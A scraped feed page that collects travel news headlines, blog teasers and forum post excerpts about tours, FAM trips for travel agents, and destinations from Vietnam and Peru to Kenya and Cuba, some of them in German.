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5 Stays to Celebrate New Orleans’ 300th Anniversary

by Michelle Marie Arean @ Recommend

This year New Orleans is celebrating its 300th anniversary. In honor of the tricentennial celebration, these five properties are offering perks, discounts, and included tours with guests' stay.

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Portugal - Colares (Sintra), Evora, and Lisbon

by runawaybunny @ Fodor's Forum

My husband and I are travelling to Portugal for 12 days at the end of February. What tours, classes, restaurants, museums might you suggest we...

Cambodia & Vietnam travel guide. Helping Dreamers Do

Cambodia & Vietnam travel guide. Helping Dreamers Do


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Cambodia & Vietnam travel guide. Honest & easy to read Cambodia & Vietnam travel guide with 2 minute summary and map and highlights of Cambodia & Vietnam. Find out more in our Cambodia & Vietnam travel guide.

10 Day Peru Tour Review

by Ali Garland @ Travel Made Simple

This is part of a series of interviews with inspiring travelers. Today’s interview comes from Kortnee about her 10 day Peru tour. See more about tours and tour reviews here. All photos are by Kortnee except Pinterest image. Tell us about yourself and your travel experience. My name is Kortnee and I currently live in […]

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TTC Launches New Travel Portal

by Web Reporter @ Recommend

In an effort to make the lives of travel agents and their clients easier, The Travel Corporation (TTC) has launched My Travel Portal (MTP), a new online initiative aimed at streamlining the process of booking and managing trips.

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Indische Küche – Diese beliebten indischen Gerichte musst du probiert haben

by Annika Ziehen @ Intrepid Germany

Indien ist ein unglaublich vielseitiges Land und das spiegelt sich auch in seiner Küche wider. Was indisches Essen gemein hat, sind Gewürze, Curries, Fladenbrote und Reis, die du auf jedem Teller findest. Dazu hat jede Gegend in Indien ihre ganz eigene Küche und Gerichte, die besonders beliebt sind. So ist das Tandoori-Hähnchen in Nordindien zu […]

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VacationCRM Integrates with Recommend EDU Travel Agent Specialist Platform

by Web Reporter @ Recommend

New functionality adds automatic rewards tracking.

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FAM Trip Highlights Peru and Machu Picchu

by Web Reporter @ Recommend

Agents looking to experience Peru, including Mach Picchu, can join Tara Tours for a weeklong FAM trip departing this spring. 

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Best Budget Destinations for Solo Travelers: the 2018 Shortlist

by Janice @ Solo Traveler

I've scoured the lists of budget destinations recommended by other sites and come up with a shortlist of my top destinations for budget solo travel in 2018.

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Kuba: 7 Fragen an einen Einheimischen

by Kai Wieland @ Intrepid Germany

Kuba ist dieser Tage (und das völlig zu Recht) in aller Munde. Das Land Che Guevaras und Fidel Castros, der Zigarren und Oldtimer, der Traumstrände und des Tanzes hat einen ganz besonderen Charme. Warum es darüber hinaus einen Besuch wert ist, erklärt uns Yanniel. Yanniel ist 31 Jahre alt und einer unserer Guides in Kuba. […]

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West Virginia Resort Offers Cold War Bunker Tours

by Jessica Poitevien @ Recommend

The Cold War may be over, but visitors to The Greenbrier resort in West Virginia can still get a taste of this tense time period in American history with a tour of the once top-secret government bunker built directly beneath the property. 

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What’s New in Los Cabos

by Paloma Villaverde de Rico @ Recommend

New hotels, new infrastructure developments, a rise in tourism numbers and a new five-point action plan to ensure a secure travel environment: Los Cabos Tourism Board's managing director, Rodrigo Esponda, gave us the 4-1-1 on what's new in Los Cabos. 

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Free Kenya FAM for Qualified KATS Agents

by Paloma Villaverde de Rico @ Recommend

The Kenya Tourism Board (KTB) would like to invite all certified KATS agents to its 2018 Roaring KATS Familiarization trip taking place this coming February.

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The Intrepid Travel Wallet for iPhone | Made in USA


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Intrepid Travel Launches Solo-Only Tours - Recommend

Intrepid Travel Launches Solo-Only Tours - Recommend


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The stigma of traveling alone is on its way out the door with the rise of solo trips, tours and cruises tailor made for those going it alone.

Which Tours Are good for Whitehaven Beach- Whitsundays

by seamuspie @ Fodor's Forum

Im travelling to Airlie beach next month and want to go and visit the infamous Whitehaven Beach. Has anyone been on any tours there and which ones do...

Hong Kong Dazzles With Light and Special Effect Shows

by Jessica Poitevien @ Recommend

The Hong Kong Tourism Board ushered in the holiday season with the unveiling of new enhancements to A Symphony of Lights show and the winter version of the Hong Kong Pulse Light Show. 

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Capitalizing the Cruise Experience

by Vivian Holley @ Recommend

Talk to travel pros about the sellable value and cultural rewards of a cruise experience and you get varying perspectives. Not surprisingly, considering the particular expertise, it may start with services rendered.

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Cuba on a Shoestring – ein Reisebericht

by Kai Wieland @ Intrepid Germany

Drei Australier, ein Neuseeländer, zwei Irinnen, eine Polin, zwei Engländerinnen, zwei Deutsche, ein Samoaner, zwei Portugiesen, eine Italienerin, eine Ungarin und zwei Kubaner sitzen in einem Bus. Was sich wie der Beginn eines schlechten und verwirrend langen Witzes anhört, entwickelte sich schon nach kürzester Zeit zu einer der schönsten Reiseerfahrungen meines Lebens. In dieser illustren […]

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Top 5 places to visit in Europe this August

by Elora @ Trav Addict

August is the peak tourist season for most European countries, so expect the main attractions like the Eiffel Tower, Versailles, Colosseum etc to be extremely packed. The temperature in southern Europe is soaring, many places, such as Malta, having days with a temperature of 110 degrees Fahrenheit (43 Celsius). Another thing to bear in mind […]

Please help - Family Trip in the Summer to Vancouver, Vancouver Island and Whistler

by fuchsia @ Fodor's Forum

I am so grateful to everyone who posts travel advice on this forum. I have spent months reading your advice and fine tuning our summer trip. I have...

What’s New in Rail Travel

by Michelle Marie Arean @ Recommend

Rail travel is expanding in both Canada and the U.S. with new itineraries and even a new departure destination. For example, Yankee Leisure Group has launched Via Rail Vacations by Railbookers for the U.S. market. “With the growth in rail travel overall, and specifically throughout Canada, we are excited to launch a dedicated brochure and […]

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Most Beautiful Places in Norway to Include on your Bucket List!

by Jolene Ejmont @ Wanderlust Storytellers | Family Travel Blog | Travel with Kids | Travel Tips

From its picture-perfect fjords to breathtaking mountains to fairytale-like cities, Norway; in Europe; is a lovely visual bonanza. With a postcard-like landscape that can be experienced through hiking, boating and long drives. Norway is known for its stunning natural phenomena like the mesmerizing northern lights and midnight sun. Norway is […]

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4 Wellness Retreats to Nourish The Mind, Body and Soul

by Jessica Poitevien @ Recommend

Whether your clients are approaching 2018 with a "new year, new me" attitude or are simply in need of a break, these wellness-focused tours and retreats will do just the trick.

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18 Travel Bloggers with Different Perspectives to Follow in 2018

by Amanda @ A Dangerous Business Travel Blog

Here's a fun fact for you: There are more than 2 million blog posts published online every single day. Tens of thousands of those are...

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Coffee Time with Industry Vets: Clarissa Mattos of Eurail

by Michelle Marie Arean @ Recommend

Growing up in a small town in Brazil, Clarissa Mattos, Eurail’s North America market manager, didn't take her first memorable trip until the age of 8. . And now, the travel bug has given her a bite so to speak. We’ll let her explain more in this installment of our Coffee Time With Industry Vets Q&A series.

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Trip Report The New Panama Canal Locks

by Eschew @ Fodor's Forum

Absence makes the heart grows fonder ... if you can believe that saying. It's been almost 6 months since I last made any "real" posts. And in the...

Review: Vietnam Express Southbound with Intrepid Travel

Review: Vietnam Express Southbound with Intrepid Travel


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Please help - Family Trip in the Summer to Vancouver, Vancouver Island and Whistler

by fuchsia @ Fodor's Forum

I am so grateful to everyone who posts travel advice on this forum. I have spent months reading your advice and fine tuning our summer trip. I have...

Tasting Macedonia with Intrepid Travel

Tasting Macedonia with Intrepid Travel


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Up in the mountains of Macedonia's Mavrovo National Park a local woman from Janche stretches out dough over the length of a table to make a traditional pita pie at Hotel Tutto.  Macko, a young beekeeper dressed in Curious George yellow in Dihovo, southwestern Macedonia, counts the number of times…

A&K’s New Itineraries Come with Belugas, Breweries & Chocolate

by Jessica Poitevien @ Recommend

Unique and immersive experiences are at the forefront of Abercrombie & Kent's recently redesigned Connections Boutique Group Journeys, and now the tour operator has added three new itineraries to the collection: Churchill: Belugas & Bears, Poland to Prague, and Switzerland & the Italian Lakes. 

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Club Med Introduces New Travel Agent Loyalty Program

by Web Reporter @ Recommend

Agents booking clients at select Club Med properties can now take advantage of new features and enhanced benefits through the recently launched Great Agents Loyalty Program. 

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3 Days in Rome: a Whirlwind Itinerary in the Eternal City

by Ali Garland @ Travel Made Simple

Rome wasn’t built in a day, and you certainly can’t experience it all in a day or even 3 days. Maybe just a taste, because come on, part of being in Italy is the food, right? Three days in Rome is enough to see the big sites and have a few decent meals along the […]

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Mexico Monarch Butterfly Tour Review

by Ali Garland @ Travel Made Simple

This is part of a series of interviews with inspiring travelers. Today’s interview comes from Lauren about her Mexico Monarch butterfly tour. See more about tours and traveling with purpose here. All photos are by Lauren except Pinterest image. Tell us about yourself and your travel experience. I’m technically not a traveler, but rather I’m […]

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New Private Chef’s Table Experience Offered in San Miguel de Allende

by Jessica Poitevien @ Recommend

Your diehard foodie clients heading to Mexico will delight in the opportunity to enjoy a private feast at San Miguel de Allende's new and unique brasserie: Bovine. 

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Scottish Highlands Tour Review

by Ali Garland @ Travel Made Simple

This is part of a series of interviews with inspiring travelers. Today’s interview comes from Karen about her Scottish Highlands tour. See more about tours and tour reviews here. All photos are by Karen. Tell us about yourself and your travel experience. My name is Karen. I’m a full-time worker and travel blogger, and I […]

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Travel Talk: Hotel Openings in Exotic Destinations

by Michelle Marie Arean @ Recommend

We put the focus on hotel openings in exotic locales—from Asia to Australia.

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2018 Delta Air Lines Caribbean…

by Web Reporter @ Recommend

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Valuable Experiences

by Michelle Marie Arean @ Recommend

What are you're clients looking for in a value-focused vacation? We'll tell you one thing, it's not the price. Find out what it is they're seeing when it comes to value travel.

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Living Through Hurricane Maria’s Devastation in Puerto Rico

by Norbert @ GloboTreks

A first-person account of my experience before, during, and after Hurricane Maria's trail of destruction in Puerto Rico.

Living Through Hurricane Maria’s Devastation in Puerto Rico is a post from: GloboTreks.

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Top 4 Peru’s Food Markets – Not to be Missed!

by misha sulpovar @ Trav Addict

One of the best parts of traveling is discovering new and amazing food and flavors.  In my book, it is absolutely on of the best ways to experience a culture.  That said, one of the first places we head when we are in a new country or a new city is the local market.  Why […]

Defining Value Travel

by Michelle Marie Arean @ Recommend

What does value travel mean for your clients heading to Europe? Let these experts tell you what your clients really mean when they say they want a value vacation.

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Travel Advisor Corner: Travel Mistakes Smart People Make

by Susan Farewell @ Recommend

Here are the most common travel mistakes we’ve seen smart people make.

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19 Things You Must Know Before Planning a Trip to Bhutan

by Norbert @ GloboTreks

Bhutan, The Last Shangri-La, is one of the least westernized nations in the world and one you shouldn't miss. Here's what you should know to plan your trip there.

19 Things You Must Know Before Planning a Trip to Bhutan is a post from: GloboTreks.

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7-Day Luxury FAM Trip in Panama

by Jessica Poitevien @ Recommend

For agents looking to explore Panama, Sunnyland Tours is hosting a 7-day luxury FAM trip to the Central American country in spring 2018.

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A History Lover’s Guide to Dublin, Ireland

by Amanda @ A Dangerous Business Travel Blog

You might know a thing or two about Dublin. For example, you might know that it's the capital of Ireland and that it's the...

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How to Save Money for Travel: Top Tips to Save

by Janice @ Solo Traveler

Here are 12 ways to save money for travel. No advice to cut lattes. No talk of shorter showers. Just a solid how-to approach to saving cash for travel.

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How To Prepare For a Major Hurricane as a Tourist

by Norbert @ GloboTreks

It's no fun to have a hurricane interrupt your vacation, but it is possible to prepare for it to minimize your ordeal in its aftermath.

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JW Marriott to Host Inaugural Venice Food & Wine Festival

by Jessica Poitevien @ Recommend

JW Marriott Hotels & Resorts is partnering with Time Inc.'s FOOD & WINE to host the inaugural Venice Food & Wine Festival from May 3-6, 2018.

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Everything you need to know about bike touring holidays | Seven West Travel Club

Everything you need to know about bike touring holidays | Seven West Travel Club


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From kids to older travellers, cycling is the hot new way to explore at a different pace.

Book and Travel Without a Credit Card: Top Tips

by Janice @ Solo Traveler

No credit cards? No problem. Here's how to travel without a credit card and, bonus, it will help you stay within your budget.

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Cruising FAM in Croatia

by Jessica Poitevien @ Recommend

Agents looking to sail the high seas while exploring Croatia can join Tours Specialists Inc. for one of the company's 8-day FAM trips scheduled for several departure dates throughout 2018.

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Agencia Global Gives Power Back to the Agent

by Native Content @ Recommend

Travel agents now have a new tool at their disposal: Agencia Global.

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AmaWaterways to Host Culinary Cruise With Master Chef Joanne Weir

by Web Reporter @ Recommend

AmaWaterways is continuing its partnership with master chef and James Beard Award winner Joanne Weir by presenting a special sailing: Taste of Bordeaux- Culinary Cruise Hosted by Joanne Weir.

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Solo Travel Destination: Vancouver, Canada

by Guest @ Solo Traveler

A Solo Travel Society member finds that Vancouver offers many athletic activities to balance out all of the great dining and drinking options.

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8-Day Tahiti FAM With Pacific Holidays

by Web Reporter @ Recommend

Pacific Holidays and Air Tahiti Nui are teaming up to co-sponsor an 8-day FAM trip that will bring agents to experience the islands of Tahiti.

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Travel Impressions Kicks Off 2018 With Exclusive Offers

by Web Reporter @ Recommend

Travel Impressions is starting 2018 with exclusive savings and other offers for agents booking groups at select IBEROSTAR properties in Mexico, Jamaica, and the Dominican Republic.

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Avoya Travel Unveils Details of 2018 Conference

by Steve Grasso @ Recommend

Avoya Travel has announced details of its 2018 Annual Conference, which will take place on both land and sea, in partnership with Norwegian Cruise Line.

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Cool Souvenirs and Mementos Worth Collecting On Your Trips

by Norbert @ GloboTreks

Souvenirs and mementos are a great way to remember our trips and experiences abroad. Here are some of the best ones I collect. Do you collect these too?

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Dubrovnik Food Tour Review

by Ali Garland @ Travel Made Simple

This is part of a series of interviews with inspiring travelers. Today’s interview comes from Gigi Griffis about her Dubrovnik food tour. See more about tours and tour reviews here. All photos are by Gigi. Tell us about yourself and your travel experience. Hey – I’m Gigi, a writer and web consultant traveling the world […]

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AirAsia Flights at Ridiculous Prices

AirAsia Flights at Ridiculous Prices

by Laura R @ Teacher at Recess

Flights are the most expensive part of any trip across an ocean.  Every day, at least one post appears on my feed declaring this app or that app as being the best for finding the allusive best fare.  The reality is you have to know what prices typically are to an area before you know…

2017: The year of courage & learning to love myself again

by sophie.m.spencer@gmail.com @ Adventures of Soph

It’s crazy to even think that 2017 has come and gone already. Every year that passes seems to fly by quicker than the last. I have spent a lot of time over the last few days reflecting on the year that’s been and to say that it’s tugged on the heart strings is a huge understatement. The year started off with a typical Sophie moment – quitting my job to channel my happiness and longing for adventure. I jetted off to South East Asia for a month just a week after leaving my job at Flight Centre. It was definitely a top way to start the year off. But when I got back from my travels, everything settled back in and came crashing down before I could even try to fix things. Up until July, I was fighting my own battle with depression. When I was packing up my stuff to move, I read through my journal that I had kept from the first few months. It was so scary to read through and see how unwell I was. I’m so happy to say that I found the light at the end of the tunnel and it was a damn […]

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Book Your Luxurious Stay in Kingfisher Bay Resort Fraser Island!

by Andrzej Ejmont @ Wanderlust Storytellers | Family Travel Blog | Travel with Kids | Travel Tips

Kingfisher Bay Resort Fraser Island is an elegant and super luxurious resort on a magnificent sand island just off the East coast of Australia. If you enjoy total bliss and relaxation, strolling on the miles of sandy beaches and you love exploring and adventure, then you came to the right […]

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Your ultimate guide to climbing Adams Peak

by sophie.m.spencer@gmail.com @ Adventures of Soph

I write this as I sit out on my private balcony overlooking a sea of tea plantations, listening to the stream trickling below and sipping on some hot tea from a pot that seems bottomless (but seriously, it’s the biggest tea pot I have ever seen, it’s amazing). You are most likely reading this because you are planning a trip to Sri Lanka and either have an adventurous bone or two in your body or can just really appreciate natures goodness. Adams Peak, commonly referred to as Sri Pada i.e. the Sacred Footprint is a 2243m high mountain in the Newara Eliya District in the hill country of Sri Lanka. It has been the site of pilgrimage for more than 1000 years but is very quickly turning into an itinerary must do for nature lovers.  When should I climb Adams Peak? There are two very distinct seasons for climbing Adams Peak with the high season starting on poya day in December and finishing up in May and the off season spanning from May to December. I did the climb in the off season and like all things, there was a big list of pro’s and con’s and I am honestly […]

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Globetrotting: Nicaragua’s Calling

by Carla Hunt @ Recommend

The United Nations World Tourism Organization has ranked Nicaragua among the top 10 World’s Fastest Growing Tourist Destinations, up 28.4 percent in 2016, and indeed, Central America’s largest country has become a go-to pick among savvy travelers looking for new vacation horizons.

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Explore Vietnam Tour with Intrepid Travel

Explore Vietnam Tour with Intrepid Travel


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You’re Not Alone: You’re Solo!

by Janice @ Solo Traveler

Musings on solo travel. Thanks to our readers. Cheers to 2018!

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Flash Tour USA Announces Namibia FAM

by Steve Grasso @ Recommend

Flash Tour USA is planning a 10-day agent FAM trip to Namibia for Summer 2018.

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Have camera, will travel

Have camera, will travel

by Laura R @ Teacher at Recess

Photography is a very personal thing.  I love how several people can capture the same event with a very different eye.  I’ve traveled with folks who take all their photos for a trip on their cell phones.  I also traveled with people who have expensive digital SLR cameras and multiple lenses. I also have friends…

Pic of the Week: Sarangkot, Nepal

by Tracey @ Solo Traveler

A Solo Travel Society member shares his view of the mountains in a photo taken in Sarangkot, Nepal, a popular location for watching sunrises and sunsets.

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The Absolute Best Halong Bay Cruise | Top 13 Recommendations

by Andrzej Ejmont @ Wanderlust Storytellers | Family Travel Blog | Travel with Kids | Travel Tips

Are you looking for the best Halong Bay cruise for your next holiday in Vietnam? Join in with thousands of happy travelers on a trip of a life time on the best Halong Bay tour in Vietnam! In order to make your planning that much easier, we have compiled a […]

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Ho Chi Minh City to Hoi An | Intrepid Travel

Ho Chi Minh City to Hoi An | Intrepid Travel


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How to Pick the Best Carry-on Luggage

by Ali Garland @ Travel Made Simple

Packing less stuff is only part of what you need to travel carry-on only. It’s also important to have the best carry-on luggage. Your carry-on luggage has to fit within the airline’s restrictions and work well for you. Make sure you know the carry-on restrictions and carry-on allowances for the airline you’re flying. Also make […]

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Geneva to Zermatt transportation advice

by alden615 @ Fodor's Forum

Hi all! I am excited to take my first ski trip to Europe at the end of Feb. I am wondering if I should buy my ticket from Geneva->Zermatt in...

Tour of the Week – Italian Lake Discovery

by Elora @ Trav Addict

For this week we have picked a lovely tour in Italy! This italian tour is offered by Peregrine with a duration of 8 days. ? Italian Lakes Discovery travels through iconic towns such as Verona, Milan, Bellagio and Tremezzo. Oh and it’s not just confined to Italy, on day 5 you’ll also get to see […]

How to Visit Askja: The Most Beautiful Place in Iceland

by Norbert @ GloboTreks

Askja, the remote and probably most beautiful place in Iceland, is not well-known to most tourists, but if you have the opportunity to go, here's how you can do it.

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Wissenswertes Kuba: 5 Dinge, die du vor deiner Reise wissen solltest

by Kai Wieland @ Intrepid Germany

Du wolltest schon immer mal nach Kuba, fühlst dich aber noch etwas unsicher und weisst nicht genau worauf du achten musst? Dann habe ich hier 5 Dinge, die du unbedingt wissen solltest, bevor du dich auf den Weg nach Kuba machst: Fleischlastige Küche Die kubanische Küche steht im zweifelhaften Ruf, etwas einseitig und langweilig zu […]

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Alternative Vacation: Signing Up for a Language Program

by Ali Garland @ Travel Made Simple

I know what some of you are thinking: “School on vacation? No thanks.” But hear me out. One of the great things about traveling is experiencing another culture. This includes learning the country’s history, tasting the food, and talking to the locals. Going to another country can give you a new way of looking at […]

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Peru in Bildern: Was du auf einer Rundreise durch Peru erwarten kannst

by Intrepid Travel @ Intrepid Germany

„Peru, das ist doch das Land mit den vielen Lamas und Machu Picchu, oder?“ werden wir häufig gefragt und unsere Antwort ist immer die gleiche. Jein. Ja, weil die Inkastätte Machu Picchu (ganz nebenbei eines der sieben Weltwunder der Moderne) in den Anden darauf wartet, bei Sonnenaufgang entdeckt zu werden und man auf dem Weg […]

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Trekking through Nepal

Trekking through Nepal

by Laura R @ Teacher at Recess

After my Intrepid trip from Delhi to Kathmandu, I used Kathmandu as a home base for about a month.  With such an easy airport hub, I flew between KTM and Pokhara, Bhutan, and also into Tibet. Since this was towards the end of my year long adventures abroad, I also interviewed for the job I currently have by…

Collette to Host Webinar on Commission Rebating

by Web Reporter @ Recommend

For years Collette has protected travel professionals and their commissions through its no discounting strategy. Now the tour operator is hosting a webinar designed to help agents overcome the issue of commission rebating.

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WOW Air Launches JFK Service with Promo Fares to Europe

by Jessica Poitevien @ Recommend

Iceland's budget transatlantic airline, WOW Air, is coming to John F. Kennedy International Airport and making it easier for U.S. travelers to reach Europe with promotional fares as low as $99.

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Ein letztes Mal Cuba libre? – Ein Reisebericht aus Kuba

by Kai Wieland @ Intrepid Germany

„Wie ist das denn dort mit dem Sozialismus?“ Das war es, was die Leute am meisten interessierte, als ich ihnen erzählte, dass ich kürzlich aus Kuba zurückgekehrt war. Um ehrlich zu sein, habe ich vor Ort gar nicht so sehr darüber nachgedacht, denn unter der tropischen Sonne, mit einem kühlen Bier in der Hand und […]

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Pleasant Holidays and Journese Give Thanks with Special Award Incentives

by Web Reporter @ Recommend

Pleasant Holidays and its luxury brand, Journese, have announced the beginning of their Travel Advisor Appreciation Month: 30 Days of Thanks, which will bring special award incentives to its top sellers.

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Magisches Marokko: Die schönsten Orte im Land aus 1.001 Nacht

by Denise Yahrling @ Intrepid Germany

Marokko ist ein faszinierendes, lebhaftes, buntes Land voller Magie und Herzlichkeit und eines, das mich zutiefst begeistert, berührt und manchmal auch nachdenklich gestimmt hat. Nach Marokko zu reisen ist ein wenig so, als würde man eine Zeitreise unternehmen in eine völlig andere Welt- eine Welt voller Zauber, Sagen und Mythen. Anfang dieses Jahres habe ich […]

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Silversea Appeals to Foodies With Culinary- and Wine-Themed Voyages

by Jessica Poitevien @ Recommend

For clients who believe the cuisine of a destination is just as important as its landmarks and monuments, Silversea is launching a series of culinary and wine-themed sailings—Enriched Voyages—in 2018 and 2019.

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Quarry Trail FAQ: Der „andere“ Weg nach Machu Picchu

by Kai Wieland @ Intrepid Germany

Okay, du willst also nach Machu Picchu wandern, sehr schön. Wusstest du aber, dass es mehr als einen Weg dorthin gibt? Jeder kennt den Inka Trail, die zurecht sehr beliebte klassische Route. Da wäre aber auch noch der Quarry Trail, von dem du wahrscheinlich noch nie gehört hast, was allerdings nicht weiter schlimm ist, denn […]

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Early Bird Gets the Worm…And Winter Discounts

by Jessica Poitevien @ Recommend

They say the early bird gets the worm, and at the Seven Stars Resort & Spa, that worm comes in the form of discounted room rates for travel now through April 16, 2018.

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Camping in Yellowstone

by KosteckiFamily @ Fodor's Forum

We are planning a trip to Yellowstone in early June. Has anyone stayed at Madison campground and would recommend? I'd prefer to use one of the...

Tour Culture

by Elora @ Trav Addict

When you book a tour with any of our vendors you are sure to be traveling with other people from all over the world. The carefully selected tour companies featured with TravAddict promote competitive prices, flexibility and tour features designed for adventure travelers on a budget. TOP TEN REASONS TO BOOK A BUDGET TOUR: 1. […]

Best Hotels & Resorts in Vietnam: Recommended Places to Stay for a Memorable Trip!

by Jolene Ejmont @ Wanderlust Storytellers | Family Travel Blog | Travel with Kids | Travel Tips

Are you scared of getting scammed, when booking your Vietnam Accommodation?   Worried that the place you are booking is not going to live up to your expectations?   Well, WORRY NO MORE!   Today we will share with you a list of the best hotels in Vietnam.  How do we […]

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Reasons why you will Fall in Love with Honfleur France!

by Andrzej Ejmont @ Wanderlust Storytellers | Family Travel Blog | Travel with Kids | Travel Tips

Everyone writes lists of the best things to do in Honfleur, France … ultimate guides on what to do in Honfleur, France. But what about an adventure? What about the spontaneity of discovery? Can you discover things to see in Honfleur that no one has seen yet? Our France road […]

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10 of the best holidays for solo travellers

10 of the best holidays for solo travellers


the Guardian

Travel companies are tapping into this growing market, offering adventurous trips across the globe for solo travellers wanting to meet like-minded people

Trip Report Anyone here in turkey ?

by beautyofheaven @ Fodor's Forum

*If anyone here in Turkey which destinations, are you planning to visit this week?*

An exclusive insider into the WORLDS FIRST EVER SAND HOSTEL

by sophie.m.spencer@gmail.com @ Adventures of Soph

I have had my fair share of staying in hip hostels, quirky air-bnbs and even treehouses all over the world, but I don’t think anything could ever compare to what I got to experience last night…a stay at the world’s first ever SAND HOSTEL. Now if that’s not enough to completely blow your minds, the pop up Sand Hostel is located on a real beach, in one of the most beautiful areas in Australia, is 100% liveable and is even licenced – which is a big deal for us Aussies with all of the council regulations. Thanks to Hostelworld, I was lucky enough to be one of the very first guests to call it home for the night and I am here to share with you an exclusive insider into what the creative pop up is all about and how you can get involved. Commissioned as a joint project by Hostelworld, Gold Coast Tourism, Lively Productions and put to real life by product designer Jon Dowding and sand sculptor extraordinaire Dennis Masoud – the Sand Hostel is what dreams are made of and will certainly make you re-think hostel life. The hostel comfortably sleeps 10 people, with an 8 bed […]

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ID Travel Group Helps Caribbean After Hurricanes

by Jessica Poitevien @ Recommend

Months after the 2017 hurricane season devastated several countries in the Caribbean, ID Travel Group and its nonprofit foundation are continuing to help in relief efforts through raising funds and offering special perks to encourage travel to the region. 

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Geckos Adventures: Vietnam Highlights review

by sophie.m.spencer@gmail.com @ intrepid travel – Adventures of Soph

Touring life is pretty damn cool, but I will admit that I didn’t think the highest of it prior to my trip of a life time with Geckos Adventures. When you aren’t a part of a tour or haven’t done one before, you very easily resent the idea and snob everybody off that is waddling together in a group. I mean, are you really ‘solo traveling’ when you are with twenty other people and a tour guide to make sure you are on the 4am train, 30 minutes early with all the confidence that you are going south and not north? But let me tell you, when you join one, you suddenly realise why so many people do decide to tour. You will get hooked on the fun, (almost) stress-free and humbling experiences and memories that you make whilst venturing around with your newly formed, global friends. Why did I choose Geckos Adventures? I could actually afford it. Two of the biggest factors for me when arranging a trip is whether I can afford it (obvious, I know) and whether it’ll be worth the months of ‘sorry I can’t come, I’ve got to save’ explanations to my friends as well […]

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Windstar Exec Sails Caribbean for Post-Hurricane Updates

by Jessica Poitevien @ Recommend

With many members of the tourism industry working diligently to spread the word about the Caribbean being open for business post-hurricane season, Steve Simao, v.p. of sales at Windstar Cruises, decided to head south and check things out for himself. What he found was a Caribbean still in recovery, but still as vibrant and vacation-worthy as ever.

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2018 Delta Air Lines Europe…

by Web Reporter @ Recommend

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KATS Program: Sustainable Kenya

by Web Reporter @ Recommend

The Sustainable Kenya elective module—part of the KATS (Kenya Authorized Travel Specialist) Program—covers the efforts being made by Kenya to promote sustainability.

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KATS Program: Beyond the Wilderness

by Paloma Villaverde de Rico @ Recommend

The Beyond the Wilderness Elective Module heads to Kenya’s coast, where activities such as surfing, scuba diving and skydiving abound. It’s also the place to discover unique historical sites, and sit down for a culinary feast.  

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What is Switzerland Famous for? Here are 13 Things!

by Jolene Ejmont @ Wanderlust Storytellers | Family Travel Blog | Travel with Kids | Travel Tips

Switzerland is the world’s only country where there are four national languages. These include French, Rumantsch, German and Italian. This isn’t the only thing that makes this beautiful country unique. Can I challenge you to name something Switzerland is famous for, before you look at our list?   So What […]

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8 Events of 2017 That Will Impact Future Caribbean Travel

by Ed Wetschler @ Recommend

“The Caribbean had been performing at a healthy growth rate of 5.2 percent between January and June,” said CTO (Caribbean Tourism Organization) chair Joy Jibrilu at the State of the Tourism Industry Conference in October, and growth continued to soar this summer until September, when two Category 5 hurricanes crashed the party. Let’s see how this and other events of 2017 will affect the islands—and you—in 2018.

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G Adventures or Intrepid Travel: Which One To Choose

G Adventures or Intrepid Travel: Which One To Choose


GloboTreks

Choosing between G Adventures and Intrepid Travel can be a tough decision. Here are some tips that can help you decide which tour company is best for your trip.

Using Social Media Strategically: It Works If You Work It

by Susan Farewell @ Recommend

Many agents and agencies slap up posts and photos just to feed the hungry social media beast…but to no avail. The truth is, unless your agency is doing it the right way, you’re completely wasting your time and in some cases, may be doing more harm than good.

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Globetrotting: UnCruise Adventures in Panama

by Carla Hunt @ Recommend

Recommend's Latin America contributing writer, Carla Hunt, joined Journese’s top-producing travel advisors on what proved to be a pure adventure in Panama.

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Intrepid Travel Vietnam

Intrepid Travel Vietnam


TNH

An international travel company operating in Vietnam since 1992, offering innovative day tours, short breaks and small group adventures. With expert guides and guaranteed daily departures, Intrepid focuses on real life experiences in Hanoi, HCMC, Mekong Delta, Halong Bay, Mai Chau, Sapa and beyond to get you up close to Vietnam's people, cuisine, history and culture.

Travel Impressions Teams Up With Back-Roads Touring Co.

by Web Reporter @ Recommend

Travel Impressions is teaming up with Back-Roads Touring Co. to offer 14 new experiential itineraries throughout the UK and Europe. 

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Plan Ahead for Christmas 2018 with Riviera River Cruises

by Web Reporter @ Recommend

While most people are still recovering from the holiday season, it's never too early to start planning your clients travels for Christmas 2018. With two new Christmas market cruises on the Danube and Rhine rivers, Riviera River Cruises is adding to your list of options. 

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Travel Advisories Now Issued for Each Individual Country

by Web Reporter @ Recommend

The U.S. Department of State has changed the way it will communicate with U.S. citizens abroad with the launch of Travel Advisories and Alerts to replace the previously used Travel Warnings, Travel Alerts, Emergency Messages and Security Messages.

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Sailing Halong Bay on a Junk Ship - Girl Tweets World

Sailing Halong Bay on a Junk Ship - Girl Tweets World


Girl Tweets World

Review of sailing Halong Bay Vietnam on a junk ship with Intrepid Travel

Exclusive Tequila Experience at Grand Velas Riviera Nayarit

by Michelle Marie Arean @ Recommend

Luxe travelers will want to get in on this one. Grand Velas Riviera Nayarit has a new exclusive tequila experience that includes a private plane to Tequila.

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The Ultimate Guide on How to Get from Hanoi to Hoi An (& Vice Versa)

by Jolene Ejmont @ Wanderlust Storytellers | Family Travel Blog | Travel with Kids | Travel Tips

Hoi An is a small town in central Vietnam that has been on the UNESCO World Heritage List since 1999. It is known for its rich history, historical heritage, architecture and atmosphere.Well that is all lovely and I bet you already know that Hoi An is worth a visit.  So […]

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Iberostar Launches Online Booking Engine With 15% Commission Promo

by Web Reporter @ Recommend

Iberostar Hotels & Resorts launched iberostarpro.com—a new online booking engine for travel agents—and for a limited time is offering higher commissions on new bookings.

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Get a FREE trip from Intrepid Travel

Get a FREE trip from Intrepid Travel

by Laura R @ Teacher at Recess

I love Intrepid Travel.  I love being the only American on a trip.  I love that it’s Carbon Neutral.  I love the mindset of the other travelers.  I love getting off the beaten path.  I love the home stays.  I love the Intrepid Foundation.  I love the small group.  I love using public transportation.  I love…

Princeville Kauai tell me where to stay please!

by tateland @ Fodor's Forum

First time in Kaua�i for our 25th wedding anniversary�splitting up our trip between Princeville and Poipu March 20-27 my husband surprised me with...

The Ultimate Guide on How to get from Danang to Hoi An (& Vice Versa)

by Jolene Ejmont @ Wanderlust Storytellers | Family Travel Blog | Travel with Kids | Travel Tips

When traveling from Danang to Hoi An, in Vietnam, there are a few options you can choose. Those options are private car, taxi, bus or, if you are really adventurous, you can rent a motorbike. Whilst Uber and Grab (a local type Uber company) are available in the area, chances […]

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Strong Growth Brings Intrepid Travel Back to USTOA

Strong Growth Brings Intrepid Travel Back to USTOA


TravelPulse

After 18 months away, the small group adventure operator is back in the fold of the elite tour operator association

